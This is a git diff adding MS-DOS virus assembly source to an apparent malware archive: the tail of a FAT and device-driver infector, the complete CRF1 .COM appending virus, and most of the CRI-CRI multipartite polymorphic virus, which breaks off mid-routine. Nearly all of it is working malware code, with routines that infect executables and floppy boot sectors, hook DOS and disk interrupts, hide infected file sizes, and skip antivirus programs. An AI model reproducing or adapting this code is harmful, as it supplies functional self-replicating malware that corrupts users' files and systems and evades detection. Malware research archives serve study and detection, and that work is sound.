+no_boot: mov ds,dx + mov [1],8 + + mov ds,cx + les ax,[di+6] + mov cs:str_block,ax + mov cs:int_block,es + + cld + mov si,1 +scan: dec si + lodsw + cmp ax,1effh + jne scan + mov ax,2cah + cmp [si+4],ax + je right + cmp [si+5],ax + jne scan +right: lodsw + push cs + pop es + mov di,offset modify+1 + stosw + xchg ax,si + mov di,offset i13org + cli + movsw + movsw + + mov dx,0c000h +fdsk1: mov ds,dx + xor si,si + lodsw + cmp ax,0aa55h + jne fdsk4 + cbw + lodsb + mov cl,9 + sal ax,cl +fdsk2: cmp [si],6c7h + jne fdsk3 + cmp [si+2],4ch + jne fdsk3 + push dx + push [si+4] + jmp short death +install: int 20h +file: db "c:",255,0 +fdsk3: inc si + cmp si,ax + jb fdsk2 +fdsk4: inc dx + cmp dh,0f0h + jb fdsk1 + + sub sp,4 +death: push cs + pop ds + mov bx,[2ch] + mov es,bx + mov ah,49h + call jump + xor ax,ax + test bx,bx + jz boot + mov di,1 +seek: dec di + scasw + jne seek + lea si,[di+2] + jmp short exec +boot: mov es,[16h] + mov bx,es:[16h] + dec bx + xor si,si +exec: push bx + mov bx,offset param + mov [bx+4],cs + mov [bx+8],cs + mov [bx+12],cs + pop ds + push cs + pop es + + mov di,offset f_name + push di + mov cx,40 + rep movsw + push cs + pop ds + + mov ah,3dh + mov dx,offset file + call jump + pop dx + + mov ax,4b00h + call jump + mov ah,4dh + call jump + mov ah,4ch + +jump: pushf + call dword ptr cs:[i21org] + ret + + +;--------Installation complete + +i13pr: mov ah,3 + jmp dword ptr cs:[i13org] + + +main: push ax ; driver + push cx ; strategy block + push dx + push ds + push si + push di + + push es + pop ds + mov al,[bx+2] + + cmp al,4 ; Input + je input + cmp al,8 + je output + cmp al,9 + je output + + call in + cmp al,2 ; Build BPB + jne ppp ; + lds si,[bx+12h] + mov di,offset bpb_buf + mov es:[bx+12h],di + mov es:[bx+14h],cs + push es + push cs + pop es + mov cx,16 + rep movsw + pop es + push cs + pop ds + mov al,[di+2-32] + cmp al,2 + adc al,0 + cbw + cmp [di+8-32],0 + je m32 + sub [di+8-32],ax + jmp short ppp +m32: sub [di+15h-32],ax + sbb [di+17h-32],0 + +ppp: pop di + pop si + pop ds + pop dx + pop cx + pop ax +rts: retf + +output: mov cx,0ff09h + call check + jz inf_sec + call in + jmp short inf_dsk + +inf_sec: jmp _inf_sec +read: jmp _read +read_: add sp,16 + jmp short ppp + +input: call check + jz read +inf_dsk: mov byte ptr [bx+2],4 + cld + lea si,[bx+0eh] + mov cx,8 +save: lodsw + push ax + loop save + mov [bx+14h],1 + call driver + jnz read_ + mov byte ptr [bx+2],2 + call in + lds si,[bx+12h] + mov ax,[si+6] + add ax,15 + mov cl,4 + shr ax,cl + mov di,[si+0bh] + add di,di + stc + adc di,ax + push di + cwd + mov ax,[si+8] + test ax,ax + jnz more + mov ax,[si+15h] + mov dx,[si+17h] +more: xor cx,cx + sub ax,di + sbb dx,cx + mov cl,[si+2] + div cx + cmp cl,2 + sbb ax,-1 + push ax + call convert + mov byte ptr es:[bx+2],4 + mov es:[bx+14h],ax + call driver +again: lds si,es:[bx+0eh] + add si,dx + sub dh,cl + adc dx,ax + mov cs:gad+1,dx + cmp cl,1 + je small + mov ax,[si] + and ax,di + cmp ax,0fff7h + je bad + cmp ax,0ff7h + je bad + cmp ax,0ff70h + jne ok +bad: pop ax + dec ax + push ax + call convert + jmp short again +small: not di + and [si],di + pop ax + push ax + inc ax + push ax + mov dx,0fh + test di,dx + jz here + inc dx + mul dx +here: or [si],ax + pop ax + call convert + mov si,es:[bx+0eh] + add si,dx + mov ax,[si] + and ax,di +ok: mov dx,di + dec dx + and dx,di + not di + and [si],di + or [si],dx + + cmp ax,dx + pop ax + pop di + mov cs:pointer+1,ax + je _read_ + mov dx,[si] + push ds + push si + call write + pop si + pop ds + jnz _read_ + call driver + cmp [si],dx + jne _read_ + dec ax + dec ax + mul cx + add ax,di + adc dx,0 + push es + pop ds + mov [bx+12h],2 + mov [bx+14h],ax + test dx,dx + jz less + mov [bx+14h],-1 + mov [bx+1ah],ax + mov [bx+1ch],dx +less: mov [bx+10h],cs + mov [bx+0eh],100h + call write + +_read_: std + lea di,[bx+1ch] + mov cx,8 +load: pop ax + stosw + loop load +_read: call in + + mov cx,9 +_inf_sec: + mov di,es:[bx+12h] + lds si,es:[bx+0eh] + sal di,cl + xor cl,cl + add di,si + xor dl,dl + push ds + push si + call find + jcxz no_inf + call write + and es:[bx+4],byte ptr 07fh +no_inf: pop si + pop ds + inc dx + call find + jmp ppp + +;--------Subroutines + +find: mov ax,[si+8] + cmp ax,"XE" + jne com + cmp [si+10],al + je found +com: cmp ax,"OC" + jne go_on + cmp byte ptr [si+10],"M" + jne go_on +found: test [si+1eh],0ffc0h ; >4MB + jnz go_on + test [si+1dh],03ff8h ; <2048B + jz go_on + test [si+0bh],byte ptr 1ch + jnz go_on + test dl,dl + jnz rest +pointer: mov ax,1234h + cmp ax,[si+1ah] + je go_on + xchg ax,[si+1ah] +gad: xor ax,1234h + mov [si+14h],ax + loop go_on +rest: xor ax,ax + xchg ax,[si+14h] + xor ax,cs:gad+1 + mov [si+1ah],ax +go_on: ;rol cs:gad+1,1 + db 2eh,0d1h,6 + dw offset gad+1 + add si,32 + cmp di,si + jne find + ret + +check: mov ah,[bx+1] +drive: cmp ah,-1 + mov cs:[drive+2],ah + jne changed + push [bx+0eh] + mov byte ptr [bx+2],1 + call in + cmp byte ptr [bx+0eh],1 + pop [bx+0eh] + mov [bx+2],al +changed: ret + +write: cmp byte ptr es:[bx+2],8 + jae in + mov byte ptr es:[bx+2],4 + mov si,70h + mov ds,si +modify: mov si,1234h + push [si] + push [si+2] + mov [si],offset i13pr + mov [si+2],cs + call in + pop [si+2] + pop [si] + ret + +driver: mov es:[bx+12h],1 +in: + db 09ah +str_block: + dw ?,70h + db 09ah +int_block: + dw ?,70h + test es:[bx+4],byte ptr 80h + ret + +convert: cmp ax,0ff0h + jae fat_16 + mov si,3 + xor cs:[si+gad-1],si + mul si + shr ax,1 + mov di,0fffh + jnc cont + mov di,0fff0h + jmp short cont +fat_16: mov si,2 + mul si + mov di,0ffffh +cont: mov si,512 + div si +header: inc ax + ret + +counter: dw 0 + + dw 842h + dw offset main + dw offset rts + db 7fh + +param: dw 0,80h,?,5ch,?,6ch,? + +bpb_buf: db 32 dup(?) +f_name: db 80 dup(?) + +;--------The End. + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.crf.asm b/MSDOS/Virus.MSDOS.Unknown.crf.asm new file mode 100644 index 00000000..a2cd00b5 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.crf.asm @@ -0,0 +1,204 @@ + title "CRF1 virus. Born on the Fourth of July. Written by TBSI." + +; assemble with Turbo ASM 2.x + page 60,80 +code segment word public 'code' + assume cs:code,ds:code + org 100h +main proc;edure + + +; As referenced in this source listing, Top-Of-File represents location 100h in +; the current memory segment, which is where the virus code is loaded into mem. +; The word "program" refers to the infected programs code and "virus" refers to +; the virus's code. This information is included to clarify my use of the word +; "program" in the remarks throughout this listing. + +; Since the virus (with the exception of "call skip" and "db 26") can be loaded +; anywhere in memory depending on the length of the infected program, I made it +; to where the BP register would be loaded with the displacement of the code in +; memory. This was done as follows: +; 1) a CALL instruction was issued. It places the TRUE return +; address onto the stack. +; 2) instead of returning to there, the value was popped off of +; the stack into the BP register +; 3) then, it subtracts the EXPECTED value of BP (the address of +; EOFMARK in the 1st-time copy) from BP to get the offset. +; 4) all references to memory locations were thereafter changed +; to refernces to EXPECTED memory locations + BP +; This fixed the problem. + + + + +tof: ;Top-Of-File + jmp short begin ;Skip over program + nop ;Reserve 3rd byte +EOFMARK: db 26 ;Disable DOS's TYPE + +first_four: nop ;First run copy only! +address: int 20h ;First run copy only! +check: nop ;First run copy only! + +begin: call nextline ;Push BP onto stack +nextline: pop bp ;BP=location of Skip + sub bp,offset nextline ;BP=offset from 1st run + + mov byte ptr [bp+offset infected],0 ;Reset infection count + + lea si,[bp+offset first_four] ;Original first 4 bytes + mov di,offset tof ;TOF never changes + mov cx,4 ;Lets copy 4 bytes + cld ;Read left-to-right + rep movsb ;Copy the 4 bytes + + mov ah,1Ah ;Set DTA address ... + lea dx,[bp+offset DTA] ; ... to *our* DTA + int 21h ;Call DOS to set DTA + + mov ah,4Eh ;Find First ASCIIZ + lea dx,[bp+offset filespec] ;DS:DX -} '*.COM',0 + lea si,[bp+offset filename] ;Point to file + push dx ;Save DX + jmp short continue ;Continue... + +return: mov ah,1ah ;Set DTA address ... + mov dx,80h ; ... to default DTA + int 21h ;Call DOS to set DTA + xor ax,ax ;AX= 0 + mov bx,ax ;BX= 0 + mov cx,ax ;CX= 0 + mov dx,ax ;DX= 0 + mov si,ax ;SI= 0 + mov di,ax ;DI= 0 + mov sp,0FFFEh ;SP= 0 + mov bp,100h ;BP= 100h (RETurn addr) + push bp ; Put on stack + mov bp,ax ;BP= 0 + ret ;JMP to 100h + +nextfile: or bx,bx ;Did we open the file? + jz skipclose ;No, so don't close it + mov ah,3Eh ;Close file + int 21h ;Call DOS to close it + xor bx,bx ;Set BX back to 0 +skipclose: mov ah,4Fh ;Find Next ASCIIZ + +continue: pop dx ;Restore DX + push dx ;Re-save DX + xor cx,cx ;CX= 0 + xor bx,bx + int 21h ;Find First/Next + jnc skipjmp + jmp NoneLeft ;Out of files + +skipjmp: mov ax,3D02h ;open file + mov dx,si ;point to filespec + int 21h ;Call DOS to open file + jc nextfile ;Next file if error + + mov bx,ax ;get the handle + mov ah,3Fh ;Read from file + mov cx,4 ;Read 4 bytes + lea dx,[bp+offset first_four] ;Read in the first 4 + int 21h ;Call DOS to read + + cmp byte ptr [bp+offset check],26 ;Already infected? + je nextfile ;Yep, try again ... + cmp byte ptr [bp+offset first_four],77 ;Mis-named .EXE? + je nextfile ;Yep, maybe next time! + + mov ax,4202h ;LSeek to EOF + xor cx,cx ;CX= 0 + xor dx,dx ;DX= 0 + int 21h ;Call DOS to LSeek + + cmp ax,0FD00h ;Longer than 63K? + ja nextfile ;Yep, try again... + mov [bp+offset addr],ax ;Save call location + + mov ah,40h ;Write to file + mov cx,4 ;Write 4 bytes + lea dx,[bp+offset first_four] ;Point to buffer + int 21h ;Save the first 4 bytes + + mov ah,40h ;Write to file + mov cx,offset eof-offset begin ;Length of target code + lea dx,[bp+offset begin] ;Point to virus start + int 21h ;Append the virus + + mov ax,4200h ;LSeek to TOF + xor cx,cx ;CX= 0 + xor dx,dx ;DX= 0 + int 21h ;Call DOS to LSeek + + mov ax,[bp+offset addr] ;Retrieve location + inc ax ;Adjust location + + mov [bp+offset address],ax ;address to call + mov byte ptr [bp+offset first_four],0E9h ;JMP rel16 inst. + mov byte ptr [bp+offset check],26 ;EOFMARK + + mov ah,40h ;Write to file + mov cx,4 ;Write 4 bytes + lea dx,[bp+offset first_four] ;4 bytes are at [DX] + int 21h ;Write to file + + inc byte ptr [bp+offset infected] ;increment counter + jmp nextfile ;Any more? + +NoneLeft: cmp byte ptr [bp+offset infected],2 ;At least 2 infected? + jae TheEnd ;The party's over! + + mov di,100h ;DI= 100h + cmp word ptr [di],20CDh ;an INT 20h? + je TheEnd ;Don't go to prev. dir. + + lea dx,[bp+offset prevdir] ;'..' + mov ah,3Bh ;Set current directory + int 21h ;CHDIR .. + jc TheEnd ;We're through! + mov ah,4Eh + jmp continue ;Start over in new dir + +TheEnd: jmp return ;The party's over! + +filespec: db '*.COM',0 ;File specification +prevdir: db '..',0 ;previous directory + +; None of this information is included in the virus's code. It is only used +; during the search/infect routines and it is not necessary to preserve it +; in between calls to them. + +eof: +DTA: db 21 dup (?) ;internal search's data + +attribute db ? ;attribute +file_time db 2 dup (?) ;file's time stamp +file_date db 2 dup (?) ;file's date stamp +file_size db 4 dup (?) ;file's size +filename db 13 dup (?) ;filename + +infected db ? ;infection count + +addr dw ? ;Address + + main endp;rocedure + code ends;egment + + end main + +; +; This quality file was downloaded from +; +; E X T R E M E +; ------------+------------ Ŀ +; /|\ +; / | \ Portland Metro All Text BBS +; / | \ +; / | \ 9600: 503-775-0374 +; / | \ SysOp: Thing One +; / | \ +; / | \ +; d r e a m e s + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.cricri.asm b/MSDOS/Virus.MSDOS.Unknown.cricri.asm new file mode 100644 index 00000000..b42ad2d3 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.cricri.asm @@ -0,0 +1,2310 @@ +;---------------------------------------------------------------------------- +;CRI-CRI ViRuS (CoDe by Griyo/29A) +;---------------------------------------------------------------------------- + +;ResiDenT: + +;WheN an inFecTed FiLe is Run thE viRus becaMes ResidEnt inTo a UMB +;memoRy bloCk (if aVaLiabLe) or in conVenTionaL memOry. Then iT +;hOOks int13h and int21h. + +;InfEcTion (MulTiPartite): + +;CriCri wRitEs itSeLf to The End of .Com and .Exe fiLes that aRe eXecUtEd +;or cLosEd aNd to The BooT SectOr of fLoppY diSks tHat are accEsed. During +;fiLe iNfeCtion the viRus UseS LoW LeveL SysTem fiLe tabLe and HookS +;int03h and int24h. +;CriCri doEs not inFect the fiLes thAt havE diGit or V chaRactErs in +;thEir namEs As weLL as FiLes with toDays DatE and SomE antiVirUs +;eXecuTablEs. InfEcted fiLes Have 62 seCondS in tHeir tiMe sTamp. + +;SteALth (fiLe and booT LeveL): + +;CriCri reTurNs cLean CopiEs oF inFected fiLes tHat are acceSed and hide +;theiR tRue siZe. The viRus alSo reTurns the OriGinaL boot sEctoR of +;fLoppy disKs tHat aRe read. The viRus disabLes his sTeaLth mechaNism +;when some comPressiOn uttiLities are beinG eXecuted. + +;PoLymorPhic: + +;The viRus is polymorPHic in fiLes and bOOt secToRs. GenerAted PolymorPHic +;deCrypToR conTains conDitiOnaL and AbsoluTe jumPs as WeLL as subRoutiNes +;and inteRRupt caLLs. + +;---------------------------------------------------------------------------- +com segment para 'CODE' + assume cs:com,ds:com,es:com,ss:com +;---------------------------------------------------------------------------- +;Virus size in bytes +lenvir equ virus_copy-virus_entry +;Virus size in para +para_size equ ((lenvir*02h)+0Fh)/10h +;Virus size in sectors +sector_size equ ((lenvir+1FFh)/200h) +;Decryptor size in bytes +decryptor equ (virus_body-virus_entry) +;Boot code size in bytes +boot_size equ (boot_end-boot_code) +;---------------------------------------------------------------------------- +;Create .COM launcher: TASM cricri.asm TLINK /t cricri.obj + org 100h +;---------------------------------------------------------------------------- +;Virus entry point +;---------------------------------------------------------------------------- +virus_entry: +;Store bp for launcher + sub bp,bp +;Buffer were virus build polymorphic decryptor + db 0280h dup (90h) +virus_body: +;Save segment registers + push ds + push es +;Check if running from boot or file + mov al,byte ptr cs:[prog_type][bp] + cmp al,"B" + je in_boot_sector + jmp go_ahead +;---------------------------------------------------------------------------- +;Virus working from boot sector +;---------------------------------------------------------------------------- +in_boot_sector: +;Reset DOS loaded flag + mov byte ptr cs:[dos_flag][bp],00h +;Clear dos running switch + mov byte ptr cs:[running_sw],"R" +;Get int 13h vector + mov al,13h + call get_int +;Save old int 13h + mov word ptr cs:[old13h_off][bp],bx + mov word ptr cs:[old13h_seg][bp],es +;Calculate our segment position + mov ax,cs + sub ax,10h + mov ds,ax +;Hook int 13h + mov al,13h + mov dx,offset my_int13h + call set_int +;Restore segment registers + pop es + pop ds +;Reboot system + int 19h +;---------------------------------------------------------------------------- +;Wait until dos is loaded +;---------------------------------------------------------------------------- +wait_dos: +;Hook int 21h at installation check +test_1: + cmp ah,01h + jne test_2 + cmp si,00BADh + jne test_2 + cmp di,0FACEh + je dos_installed +;Hook int 21h if we detect a write operation +test_2: + cmp ah,03h + je dos_installed + ret +;Hook int 21h to our handler +dos_installed: + call push_all +;Set dos loaded flag + mov byte ptr cs:[dos_flag],0FFh +;Check dos version + mov ah,30h + int 21h + cmp al,04h + jb exit_wait +;Save old int 21h vector + mov al,21h + call get_int + mov word ptr cs:[old21h_off],bx + mov word ptr cs:[old21h_seg],es +;Get our segment + push cs + pop ds +;Point int 21h to our handler + mov dx,offset my_int21h + mov al,21h + call set_int +exit_wait: + call pop_all + ret +;---------------------------------------------------------------------------- +;Running from an executable +;---------------------------------------------------------------------------- +go_ahead: +;Installation check + mov si,00BADh + mov di,0FACEh + mov ah,01h + mov dl,80h + int 13h + jc not_installed + cmp si,0DEADh + jne not_installed + cmp di,0BABEh + jne not_installed + jmp control_end +not_installed: +;Check dos version + mov ah,30h + int 21h + cmp al,04h + jae check_date + jmp control_end +check_date: +;Get current date + mov ah,2Ah + int 21h +;Save today's date + mov byte ptr cs:[today][bp],dl +;Activation circunstance: 4th of June + cmp dh,06h + jne no_activation + cmp dl,04h + jne no_activation + jmp print_credits +no_activation: +;Set dos loaded flag + xor al,al + dec al + mov byte ptr cs:[dos_flag][bp],al +;Clear dos running switch + mov byte ptr cs:[running_sw],"R" +;Save old int 13h + mov al,13h + call get_int + mov word ptr cs:[old13h_seg][bp],es + mov word ptr cs:[old13h_off][bp],bx +;Save old int 03h + mov al,03h + call get_int + mov word ptr cs:[old03h_seg][bp],es + mov word ptr cs:[old03h_off][bp],bx +;Save old int 21h + mov al,21h + call get_int + mov word ptr cs:[old21h_seg][bp],es + mov word ptr cs:[old21h_off][bp],bx +;Redirect traced int 21h to int 03h + lds dx,dword ptr cs:[old21h][bp] + mov al,03h + call set_int +;---------------------------------------------------------------------------- +;Memory allocation +;---------------------------------------------------------------------------- + sub di,di +;Get pointer to dos info block + mov ah,52h + int 03h +;Get pointer to the dos buffers structure + lds si,es:[bx+12h] +;Get address of first umb + mov ax,ds:[si+1Fh] + cmp ax,0FFFFh + je no_umbs +;Follow the chain +nextumb: + mov ds,ax +;Check for free umb's + cmp word ptr ds:[di+01h],di + jnz no_free_umb +;Check if there is enought size + cmp word ptr ds:[di+03h],para_size+01h + ja handle_mcb +no_free_umb: +;Check if this is the last umb + cmp byte ptr ds:[di+00h],"Z" + je no_umbs +;Jump to next umb in the chain + mov ax,ds + inc ax + add ax,word ptr ds:[di+03h] + mov ds,ax + jmp short nextumb +;Allocate memory from last mcb +no_umbs: +;Get pointer to dos info block + mov ah,52h + int 03h +;Get pointer to first mcb + mov ax,es + dec ax + mov es,ax + add bx,12 + lds di,dword ptr es:[bx+00h] +;Follow the mcb chain +nextmcb: +;Check if this is the last mcb + cmp byte ptr ds:[di+00h],"Z" + je ok_mcb +;Next mcb + mov ax,ds + inc ax + add ax,word ptr ds:[di+03h] + mov ds,ax + jmp short nextmcb +ok_mcb: +;Check mcb size + cmp word ptr ds:[di+03h],para_size+4000h + ja ok_mcb_size + jmp control_end +ok_mcb_size: +;Sub top of memory in psp + sub word ptr ds:[di+12h],para_size+01h +handle_mcb: +;Sub virus size and mcb size + sub word ptr ds:[di+03h],para_size+01h +;Clear the last mcb field + mov byte ptr ds:[di+00h],"M" +;Jump to next mcb + mov ax,ds + inc ax + add ax,word ptr ds:[di+03h] + mov es,ax + inc ax + push ax +;Mark mcb as last in the chain + mov byte ptr es:[di+00h],"Z" +;Set dos as owner + mov word ptr es:[di+01h],0008h +;Set mcb size + mov word ptr es:[di+03h],para_size +;Mark UMB as system code + mov di,0008h + mov ax,"CS" + cld + stosw + xor ax,ax + stosw + stosw + stosw +;Copy to memory + pop es + mov ax,cs + mov ds,ax + sub di,di + mov si,bp + add si,0100h + mov cx,lenvir + cld + rep movsb +;Save virus segment + mov ax,es + sub ax,10h + mov ds,ax +;Hook int 13h + mov dx,offset my_int13h + mov al,13h + call set_int +;Hook int 21h + mov dx,offset my_int21h + mov al,21h + call set_int +control_end: +;Restore old int 03h + lds dx,dword ptr cs:[old03h][bp] + mov al,03h + call set_int +;Return to host + cmp byte ptr cs:[prog_type][bp],"E" + je exit_exe +;---------------------------------------------------------------------------- +;Exit from .COM +;---------------------------------------------------------------------------- +exit_com: +;Restore first three bytes + mov ax,cs + mov es,ax + mov ds,ax + mov si,offset old_header + add si,bp + mov di,0100h + mov cx,0003h + cld + rep movsb +;Restore segment registers + pop es + pop ds +;Check if launcher execution + cmp bp,0000h + je endprog +;Get control back to host + push cs + mov ax,0100h + push ax + call zero_all + retf +;Exit program if launcher execution +endprog: + mov ax,4C00h + int 21h +;---------------------------------------------------------------------------- +;Exit from .EXE +;---------------------------------------------------------------------------- +exit_exe: +;Restore segment registers + pop es + pop ds +;Get control back to host + mov bx,word ptr cs:[file_buffer+16h][bp] + mov ax,cs + sub ax,bx + mov dx,ax + add ax,word ptr cs:[old_header+16h][bp] + add dx,word ptr cs:[old_header+0Eh][bp] + mov bx,word ptr cs:[old_header+14h][bp] + mov word ptr cs:[exeret][bp],bx + mov word ptr cs:[exeret+02h][bp],ax + mov ax,word ptr cs:[old_header+10h][bp] + mov word ptr cs:[fix1][bp],dx + mov word ptr cs:[fix2][bp],ax + call zero_all + db 0B8h +fix1: + dw 0000h + cli + mov ss,ax + db 0BCh +fix2: + dw 0000h + sti + db 0EAh +exeret: + dw 0000h + dw 0000h +;---------------------------------------------------------------------------- +;Virus int 13h handler +;---------------------------------------------------------------------------- +my_int13h: + cmp byte ptr cs:[dos_flag],00h + jne ok_dos_flag + call wait_dos +ok_dos_flag: + call push_all +;Installation check + cmp ah,01h + jnz not_check + cmp si,00BADh + jne my13h_exit + cmp di,0FACEh + jne my13h_exit + call pop_all + mov si,0DEADh + mov di,0BABEh + stc + cmc + retf 2 +not_check: +;Do not use our int 13h handler if we are using our int 21h handler + cmp byte ptr cs:[running_sw],"R" + jne my13h_exit +;Check for read operations + cmp ah,02h + jne short my13h_exit +;Side 0 of drive a: + or dx,dx + jnz short my13h_exit +;Track 0, sector 1 + cmp cx,0001h + je infect_floppy +;Get control back to old int 13h +my13h_exit: + call pop_all + jmp dword ptr cs:[old13h] +;---------------------------------------------------------------------------- +;Infect floppy on drive a: +;---------------------------------------------------------------------------- +infect_floppy: +;Perform read operation + pushf + call dword ptr cs:[old13h] + jnc boot_read_ok + call pop_all + stc + retf 2 +boot_read_ok: +;Check for JMP SHORT at the beginning + cmp byte ptr es:[bx+00h],0EBh + jne exit_disk +;Check if infected + call get_position + cmp word ptr es:[di+boot_marker-boot_code],"RC" + jne not_infected + jmp stealth_boot +not_infected: +;Check for mbr marker also in floppy + cmp word ptr es:[bx+01FEh],0AA55h + je floppy_infection +exit_disk: + call pop_all + stc + cmc + retf 2 +;Calculate track and head for floppy +floppy_infection: +;Get sectors per track + mov ax,word ptr es:[bx+18h] + mov cx,ax +;Cut one track for virus body + sub word ptr es:[bx+13h],ax + mov ax,word ptr es:[bx+13h] + xor dx,dx +;Divide total sectors by sectors per track + div cx + xor dx,dx +;Get heads parameter + mov cx,word ptr es:[bx+1Ah] + push cx +;Divide tracks by heads + div cx + push ax + xchg ah,al + mov cl,06h + shl al,cl + or al,01h +;Save virus body position in floopy + mov word ptr cs:[load_cx],ax + pop ax + pop cx + xor dx,dx + div cx + mov byte ptr cs:[load_dh],dl +;Use floppy root directory for old boot sector + mov cx,000Eh + mov dx,0100h +;Write original boot sector + mov ax,0301h + pushf + call dword ptr cs:[old13h] + jc exit13h_inf +ok_original: +;Move virus loader into boot sector + push cs + pop ds + mov si,offset boot_code + mov cx,boot_size + cld + rep movsb +write_boot: +;Reset disk controler + xor ax,ax + pushf + call dword ptr cs:[old13h] ;************old13h] +;Write loader + mov ax,0301h + xor dx,dx + mov cx,0001h + pushf + call dword ptr cs:[old13h] ;+++++++++++old13h] + jnc ok_loader +exit13h_inf: + call pop_all + stc + cmc + retf 2 +ok_loader: +;Set boot flag + mov byte ptr cs:[prog_type],"B" +;Perform encryption + call do_encrypt + push cs + pop es +;Write virus body + mov cx,word ptr cs:[load_cx] + mov dh,byte ptr cs:[load_dh] + mov bx,offset virus_copy + mov ax,0300h+sector_size + pushf + call dword ptr cs:[old13h] ;+++++++++++++old13h] +;Hide changes made to boot sector +stealth_boot: + call pop_all + mov cl,03h + mov al,01h + mov cl,0Eh + mov dh,01h + jmp dword ptr cs:[old13h] +;---------------------------------------------------------------------------- +;Code inserted into boot sector +;---------------------------------------------------------------------------- +boot_code: + cli + xor ax,ax + mov ss,ax + mov es,ax + mov ds,ax + mov si,7C00h + mov sp,si + sti +;Allocate some BIOS memory + sub word ptr ds:[0413h],(lenvir/512)+1 + mov ax,word ptr ds:[0413h] +;Calculate residence address + mov cl,06h + shl ax,cl + mov es,ax +;Reset disk + xor ax,ax + int 13h +;Get position in disk +;mov cx,XXXXh + db 0B9h +load_cx dw 0000h +;mov dh,XXh + db 0B6h +load_dh db 00h +;Prepare for reading virus body +try_again: + mov ax,0200h+sector_size +;Read at es:bx + xor bx,bx +;Read virus body into allocated memory + int 13h + jc error_init +;Continue execution on virus body + push es + push bx + retf +;Error during virus initialization +error_init: + int 18h +;---------------------------------------------------------------------------- +;Infection marker +;---------------------------------------------------------------------------- +boot_marker db "CR" +;End of boot code +boot_end: +;---------------------------------------------------------------------------- +;Virus int 21h +;---------------------------------------------------------------------------- +my_int21h: + call push_all +;Set int 21h running switch + mov byte ptr cs:[running_sw],"F" +;Anti-heuristic function number examination + xor ax,0FFFFh + mov word ptr cs:[dos_function],ax +;Save old int 24h + mov al,24h + call get_int + mov word ptr cs:[old24h_seg],es + mov word ptr cs:[old24h_off],bx +;Hook int 24h to a do-nothing handler + push cs + pop ds + mov dx,offset my_int24h + mov al,24h + call set_int +;Save old int 03h + mov al,03h + call get_int + mov word ptr cs:[old03h_seg],es + mov word ptr cs:[old03h_off],bx +;Hook int 03h to original int 21h + lds dx,dword ptr cs:[old21h] + mov al,03h + call set_int +;Check for special files + mov ah,51h ;62h? + int 03h + dec bx + mov ds,bx + mov ax,word ptr ds:[0008h] + mov byte ptr cs:[stealth_sw],00h +;Check if arj is running + cmp ax,"RA" + je disable_stealth +;Check for pkzip utils + cmp ax,"KP" + je disable_stealth +;Check for lha + cmp ax,"HL" + je disable_stealth +;Check for backup + cmp ax,"AB" + je disable_stealth + jmp no_running +disable_stealth: + mov byte ptr cs:[stealth_sw],0FFh +no_running: +;Restore and re-save all regs + call pop_all + call push_all +;Put function number into bx + mov bx,word ptr cs:[dos_function] +;---------------------------------------------------------------------------- +;Infection functions +;---------------------------------------------------------------------------- +infection_00: +;Exec function + cmp bx,(4B00h xor 0FFFFh) + jne infection_01 + jmp dos_exec +infection_01: +;Close file (Handle) + cmp bh,(3Eh xor 0FFh) + jne stealth_dos + jmp dos_close +;---------------------------------------------------------------------------- +;Stealth functions +;---------------------------------------------------------------------------- +stealth_dos: +;Check if stealth is disabled + cmp byte ptr cs:[stealth_sw],0FFh + je m21h_exit +;Open file (Handle) + cmp bh,(3Dh xor 0FFh) + jne stealth_00 + jmp dos_open +stealth_00: +;Extended open + cmp bh,(6Ch xor 0FFh) + jne stealth_01 + jmp dos_open +stealth_01: +;Directory stealth works with function Findfirst (fcb) + cmp bh,(11h xor 0FFh) + jne stealth_02 + jmp ff_fcb +stealth_02: +;Directory stealth works also with function Findnext(fcb) + cmp bh,(12h xor 0FFh) + jne stealth_03 + jmp ff_fcb +stealth_03: +;Search stealth works with Findfirst (handle) + cmp bh,(4Eh xor 0FFh) + jne stealth_04 + jmp ff_handle +stealth_04: +;Search stealth works also with Findnext (handle) + cmp bh,(4Fh xor 0FFh) + jne stealth_05 + jmp ff_handle +stealth_05: +;Read stealth + cmp bh,(3Fh xor 0FFh) + jne stealth_06 + jmp dos_read +stealth_06: +;Disinfect if debuggers exec + cmp bx,(4B01h xor 0FFFFh) + jne stealth_07 + jmp dos_load_exec +stealth_07: +;Disinfect if file write + cmp bh,(40h xor 0FFh) + jne stealth_08 + jmp dos_write +stealth_08: +;Get file date/time + cmp bx,(5700h xor 0FFFFh) + jne stealth_09 + jmp dos_get_time +stealth_09: +;Set file date/time + cmp bx,(5701h xor 0FFFFh) + jne m21h_exit + jmp dos_set_time +;Get control back to dos +m21h_exit: +;Free int 03h and int 24h + call unhook_ints + call pop_all + jmp dword ptr cs:[old21h] +;---------------------------------------------------------------------------- +;Directory stealth with functions 11h and 12h (fcb) +;---------------------------------------------------------------------------- +ff_fcb: + call pop_all +;Call DOS service + int 03h +;Save all regs + call push_all +;Check for errors + cmp al,255 + je nofound_fcb +;Get current PSP + mov ah,51h + int 03h +;Check if call comes from DOS + mov es,bx + cmp bx,es:[16h] + jne nofound_fcb + mov bx,dx + mov al,ds:[bx+00h] + push ax +;Get DTA + mov ah,2Fh + int 03h + pop ax + inc al + jnz fcb_ok + add bx,07h +fcb_ok: +;Check if infected + mov ax,word ptr es:[bx+17h] + and al,1Fh + cmp al,1Fh + jne nofound_fcb +;Restore seconds + and byte ptr es:[bx+17h],0E0h +;Restore original file size + sub word ptr es:[bx+1Dh],lenvir + sbb word ptr es:[bx+1Fh],0000h +nofound_fcb: +;Restore some registers and return + call unhook_ints + call pop_all + iret +;---------------------------------------------------------------------------- +;Search stealth with functions 4Eh and 4Fh (handle) +;---------------------------------------------------------------------------- +ff_handle: + call pop_all +;Call DOS service + int 03h + jnc ffhok + call unhook_ints + stc + retf 2 +ffhok: +;Save result + call push_all +;Get DTA + mov ah,2Fh + int 03h +;Check if infected + mov ax,word ptr es:[bx+16h] + and al,1Fh + cmp al,1Fh + jne nofound_handle +;Restore seconds field + and byte ptr es:[bx+16h],0E0h +;Restore original size + sub word ptr es:[bx+1Ah],lenvir + sbb word ptr es:[bx+1Ch],0000h +nofound_handle: +;Restore some registers and exit + call unhook_ints + call pop_all + stc + cmc + retf 2 +;---------------------------------------------------------------------------- +;Load exec +;---------------------------------------------------------------------------- +dos_load_exec: +;Open file for read-only + mov ax,3D00h + int 03h + jnc loaded + jmp m21h_exit +loaded: + xchg bx,ax + jmp do_disinfect +;---------------------------------------------------------------------------- +;Write file 